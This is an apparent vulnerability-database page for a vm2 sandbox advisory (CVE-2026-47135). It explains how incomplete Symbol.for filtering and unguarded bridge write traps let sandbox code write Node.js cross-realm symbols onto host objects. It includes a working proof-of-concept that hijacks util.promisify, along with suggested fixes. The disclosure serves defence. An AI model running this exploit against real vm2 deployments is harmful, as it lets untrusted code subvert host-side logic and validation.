vm2 CVE-2026-47135
HIGHCVSS VectorNVD
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Lifecycle Timeline
3Blast Radius
ecosystem impact- 82 npm packages depend on vm2 (2 direct, 80 indirect)
Ecosystem-wide dependent count for version 3.11.4.
DescriptionNVD
Summary
vm2 3.11.2 Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior - verified with a full util.promisify hijack chain.
Root Cause
1. Incomplete Symbol.for override (setup-sandbox.js:132-142):
Symbol.for = function (key) {
const keyStr = '' + key;
if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;
if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;
return originalSymbolFor(keyStr); // everything else passes through
};Only inspect.custom and rejection are blocked. The following 7 Node.js internal symbols pass through as real cross-realm symbols:
nodejs.util.promisify.customnodejs.stream.readablenodejs.stream.writablenodejs.stream.duplexnodejs.stream.transformnodejs.webstream.isClosedPromisenodejs.webstream.controllerErrorFunction
Note: bridge.js isDangerousCrossRealmSymbol covers promisify.custom on reads, but the Symbol.for override in setup-sandbox does not block it at the source.
2. Missing symbol check in bridge write traps (bridge.js):
The get trap (line 1148) and ownKeys trap (line 1541) both check isDangerousCrossRealmSymbol(key), but set (line 1231), defineProperty (line 1427), and deleteProperty (line 1493) have no such check. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.
3. Incomplete filters in setup-sandbox.js:
isDangerousSymbol(), Object.getOwnPropertyDescriptors override, and Object.assign override only filter inspect.custom and rejection - missing promisify.custom and all stream/webstream symbols.
Verified Exploitation: util.promisify Hijack
const { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function readFile(path, cb) { cb(null, 'real data'); };
vm.setGlobal('hostFn', hostFn);
// Sandbox writes promisify.custom to host function
vm.run(`
const kPromisify = Symbol.for('nodejs.util.promisify.custom');
hostFn[kPromisify] = function(path) {
return Promise.resolve('HIJACKED by sandbox');
};
`);
// Host-side: promisified function now returns sandbox-controlled value
const asyncRead = util.promisify(hostFn);
asyncRead('/etc/passwd').then(console.log);
// Output: "HIJACKED by sandbox"Additional verified attacks:
- Writing
nodejs.stream.writableto a host Readable stream, altering its duck-typing identity Object.assignpropagates unblocked symbols from sandbox source to host targetObject.definePropertywith unblocked symbol key succeeds on host objectsdelete hostObj[unblocked_symbol]succeeds, removing host-set symbol properties
Impact
- Semantic confusion: Sandbox controls host
util.promisifybehavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox. - Data integrity: Host code relying on promisified function results gets sandbox-controlled values.
- Defense bypass: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.
This is not a direct RCE - the bridge still wraps sandbox functions crossing the boundary - but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.
Affected Versions
- vm2 <= 3.11.2 (all 3.x versions)
Environment
- Node.js v24.14.0
- macOS (Darwin 25.4.0)
Suggested Fix
setup-sandbox.js: Block allnodejs.*prefixed symbols:
Symbol.for = function (key) {
const keyStr = '' + key;
if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);
return originalSymbolFor(keyStr);
};bridge.js: Add check to write traps:
set(target, key, value, receiver) {
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
// ...
}setup-sandbox.js: SyncisDangerousSymbol,Object.getOwnPropertyDescriptors,Object.assignto cover all dangerous symbols.
AnalysisAI
Sandbox escape in vm2 versions 3.11.2 and earlier (through 3.11.3) allows sandboxed JavaScript to obtain real Node.js cross-realm symbols and write them onto host objects, hijacking host-side control flow such as util.promisify, stream duck-typing, and WebStream internals. The flaw stems from an incomplete Symbol.for override that blocks only 2 of 9 dangerous nodejs.* symbols and from bridge write traps that lack the dangerous-symbol guard present on read traps. …
Sign in for full analysis, threat intelligence, and remediation guidance.
RemediationAI
24 hours: Inventory all applications using vm2 and determine exposure scope. 7 days: Upgrade all affected instances to vm2 version 3.11.4 or later. …
Sign in for detailed remediation steps.
More from same product – last 7 days
SQL injection in Pimcore's CustomReportsBundle (versions ≤ 12.3.5) lets an authenticated user holding the reports_config
Server-Side Request Forgery in axios versions <1.16.0 and <=0.31.1 allows remote attackers who control a request URL to
Cross-origin JavaScript injection in Home Assistant Companion apps for Android (before 2026.4.4) and iOS (before 2026.4.
Local privilege escalation in Apple macOS allows a malicious app already running with low privileges to elevate to root
Local privilege escalation in Canonical Multipass for macOS before 1.16.3 allows a low-privileged local user to obtain r
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-m5q2-4fm3-vfqp